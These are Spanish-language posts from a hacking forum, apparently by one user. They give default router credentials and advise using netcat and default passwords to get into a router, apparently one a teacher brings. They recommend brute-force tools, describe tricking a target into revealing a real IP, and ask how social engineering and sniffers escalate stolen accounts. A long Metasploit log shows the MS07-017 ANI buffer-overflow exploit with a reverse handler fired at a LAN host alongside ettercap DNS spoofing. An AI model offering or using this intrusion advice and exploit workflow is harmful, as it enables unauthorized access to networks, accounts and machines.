Mensajes

Bueno pues contraseñas por defecto segun mi maestro:

User: 1234
Pass: 1234

o bien

User: Admin
Pass: 1234

Y acuerdate de siempre de visitar esta WEB u esta otra WEB antes de preguntar. Y fuerza bruta pues mira estos programas que he puesto en este POST.

Quiza no entiende el ingles  

Traduccion por El mundo traductor:

Advertencia: El comando de db_create es desaprobado, el empleo db_connect en cambio.
[-] la base de datos y el esquema serán creados automáticamente por
[-] db_connect. Si db_connect falla en crear la base de datos, crear
[-] ello a mano con los instrumentos de administración de su DBMS.

Traduccion por Google:

Advertencia: El Mando de db_create es desaprobado, El Empleo db_connect en Cambio.
[-] La base de Datos y El Esquema seran creados automaticamente Por
[-] Db_connect. Si falla en db_connect CREAR la Base de Datos, CREAR
[-] Ola a mano de Los Instrumentos de Con ADMINISTRACIÓN DE DBMS su.

Traduccion por mi:

El comando db_create no funciona usa db_connect y si este tampoco rula pues lo haces a mano.

Espero que con todas estas traducciones te hagas una idea XDXD bueno y recuerda si no entiendes algo pues primero traducelo y despues busca por aki y si no encuentras nada pregunta.


Saludos Søra.

Bueno lo cierto es que yo digo conectarse a internet cuando nos conectamos al router ya sea solo para lan para internet o para ambos.

Espero que esto no te haya confundido...


Saludos Søra.

Creo que no lo he entendido del todo solo decirte:

1- Si con esa contraseña lo que haces es conectarte al internet pues tendras que encontrar la web del router luego te conectas con netcat te escupira un par de cosas buscas modelo de router y contraseñas por defecto.

2- Si puedes ver el modelo de router sin tener que encontrar la web ya que el router lo trae el profesor y supongo que lo veras pues sera mucho mas facil buscas por google el modelo de router como funciona y cual es la manera de accceder a su pagina web un vez lo tengas pues = que en el paso uno buscas la pass por defecto y pa dentro.

Bueno ahora que lo pienso esto esta muy bien explicado por kamsky aqui en el apartado [0x04 Estamos dentro...]

Saludos Søra.

Ola skon bueno pues yo te diria que uses la fuerza bruta para sacar la contraseña, ya que puedes usar muchos programas que rondan por la web:


Brutus AE 2  Que es el que yo te recomiendo por facilidad de manejo

Webcracker Que nunca lo he usado pero bueno si esta en elhacker.net por algo sera no?? XD

Y el resto los puedes sacar de aqui.


Los dos enlaces han sido sacados del apartado de Hacking de elhacker.net

Saludos Søra.

Para hallar la IP correcta en caso e que este detras de un proxy deberias ponerte en contacto con el administrador del proxy y darle la IP que tienes junto con cuando a estado conectada esa IP en el usuario que sea (todo esto lo supongo) y este se supone que te daria la IP correcta.

Yo no conozco otro metodo y este es muy largo y costoso ademas supongo que los administradores te pediran orden judicial o cosas de esas XDD pero bueno sino siempre te queda buscar alguna accion (transferencia de archivos/paginas) que no permita proxy y convencerle que la realize y de ai sacar la IP.

Pero vamos que si el no quiere casi que olvidate de sacar su IP verdadera.


Saludos Søra.

pd: Esto es lo que yo creo y lo que siempre he leido pero = algun user del foro sabe la manera asi que no te tomes esto como respuesta tajante.

Para localizacion de IP's te recomiendo esta web a mi nunca me ha dado fallos y me localiza bastante bien.

Saludos Søra.

Muchos de los libros interesantes que andan por la red ya sean los de kevin mitnik, la biblia hacker u otros que no tienen un autor o titulo tan destacado en algun apartado u otro explican la increible hazaña de chico1 que mediante ingenieria social sacan la contraseña de un hotel/empresa/universidad luego instalan un sniffer y intentan atrapar contraseñas de mas alto nivel para ir escalando asta sacar la del admin.

Pues mi duda esta en que si a ti te dan la contraseña de un alumno de universidad tendras acceso a datos limitados descargar examenes, apuntes,etc... pero nada de instalar sniffers ni otras cosas no?

Si es de un hotel pues ya se entiende mas pero aun asi si consigues la de un miembro que tenga asociada una tarjeta de credito se daran cuenta de que lo has gastado tu y tampoco puedes instalar ujn sniffer ya que no tienes ningun privilegio.

Si es de empresa pues si empiezas por algo muy bajo tampoco creo que tengas capacidad de instalar nada remotamente.


Entonces como se hace para con pocos privilegios conseguir algo mas que apuntes para examenes???
Otra duda cuando dicen  hablaron con la dependienta del hotel y le consiguieron sacar los datos necesarios para conseguir entrar en el sistema. ¿Que datos piden de que tipo: tipo usuarios corrientes, algo que va con el hardware o que?

Saludos Søra.

pd:tranquilos no pienso hacer nada malo pero me surgen todas esas dudas.

Ola a todos veran a m me pasa el mismo problema si indico el puerto (en etter.dns) no hace la recireccion y si no lo indico pues mirad:


METASPLOIT:

msf exploit(ms07_017_ani_loadimage_chunksize) > exploit

• Exploit running as background job.
  
  
• Started reverse handler on 0.0.0.0:4444
  
• Using URL: http://0.0.0.0:80/
  
•   Local IP: http://192.168.0.129:80/
  
• Server started.
  msf exploit(ms07_017_ani_loadimage_chunksize) >
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:3890...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:3892...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:3893...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:3894...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:3895...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:3896...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:3897...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:3895...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:3899...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:3897...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP) to 192.168.0.128:3899...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP) to 192.168.0.128:3906...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP) to 192.168.0.128:3907...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:3921...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:3921...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:3921...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP) to 192.168.0.128:3946...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:3948...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:3950...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP) to 192.168.0.128:3951...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:3921...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:3959...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:3971...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:3921...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:3975...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:3983...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP) to 192.168.0.128:3950...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:3948...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:3959...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:3997...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:3971...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:3921...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:3975...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:3921...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:3971...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:3975...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:3997...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:3997...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:3997...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:4018...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:3997...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP) to 192.168.0.128:4018...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP) to 192.168.0.128:3997...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP) to 192.168.0.128:4029...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:4033...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:3921...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:3971...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:4040...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:4049...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:4049...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:4056...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:4057...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:4056...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:4057...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:4056...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:4063...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:4065...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:4067...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:4069...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:4057...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:4073...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:4075...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:4078...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:4056...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:4057...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:4063...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP) to 192.168.0.128:4084...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP) to 192.168.0.128:4086...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:4075...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:4078...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:4088...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:4056...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:4065...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:4067...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:4069...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP) to 192.168.0.128:4090...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:4092...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:4095...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP) to 192.168.0.128:4096...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:4073...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:4105...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:4111...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:4112...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:4113...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:4115...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:4117...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:4119...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:4121...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:4123...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:4125...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:4119...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:4123...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:4125...
  
• Attempting to exploit ani_loadimage_chunksize
  
• Unknown User-Agent Microsoft BITS/6.7 from 192.168.0.128:4127
  
• Attempting to exploit ani_loadimage_chunksize
  
• Sending HTML page to 192.168.0.128:4132...
  Interrupt: use the 'exit' command to quit

Alguno tiene idea???Saludos Søra.

Muchas gracias codigo 100% asimilado XD.

Saludos Søra.